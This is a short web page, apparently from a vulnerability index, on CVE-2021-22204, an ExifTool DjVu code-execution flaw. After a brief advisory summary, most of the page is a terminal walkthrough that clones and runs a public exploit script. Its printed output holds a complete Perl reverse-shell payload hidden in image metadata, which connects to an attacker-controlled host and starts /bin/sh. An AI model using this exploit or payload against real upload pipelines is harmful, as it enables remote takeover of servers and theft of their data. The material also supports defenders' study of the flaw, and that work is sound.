Skip to content
HackIndex logo

HackIndex

CVE-2021-22204:
ExifTool DjVu RCE

Published: Feb 25, 2026
Medium
Code Injection

CVE-2021-22204 is an arbitrary code execution flaw in ExifTool’s DjVu parsing (ExifTool 7.44–12.23) where a specially crafted “image” with hostile DjVu metadata can trigger unsafe evaluation during parsing. It was disclosed and published as a CVE in April 2021 (NVD/CVE record published April 23, 2021) and was fixed upstream in ExifTool 12.24. If a vulnerable app runs ExifTool on attacker-supplied files (common in upload/metadata pipelines), it can lead to remote command execution with the service’s privileges, enabling full server compromise and data theft.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

UNICORDev/exploit-CVE-2021-22204
Exploit for CVE-2021-22204 (ExifTool) - Arbitrary Code Execution
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/UNICORDev/exploit-CVE-2021-22204.git
┌──(kali㉿kali)-[~]
└─$ cd exploit-CVE-2021-22204
 
┌──(kali㉿kali)-[~]
└─$ # or on Kali:
┌──(kali㉿kali)-[~]
└─$ cp /usr/share/exploitdb/exploits/linux/local/50911.py ./exploit-CVE-2021-22204.py
 
 
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
 
┌──(kali㉿kali)-[~]
└─$ python3 exploit-CVE-2021-22204.py -s $LHOST $LPORT 
        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
    
RUNNING: UNICORD Exploit for CVE-2021-22204
PAYLOAD: (metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($LPORT,inet_aton('$LHOST')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};")
RUNTIME: DONE - Exploit image written to 'image.jpg'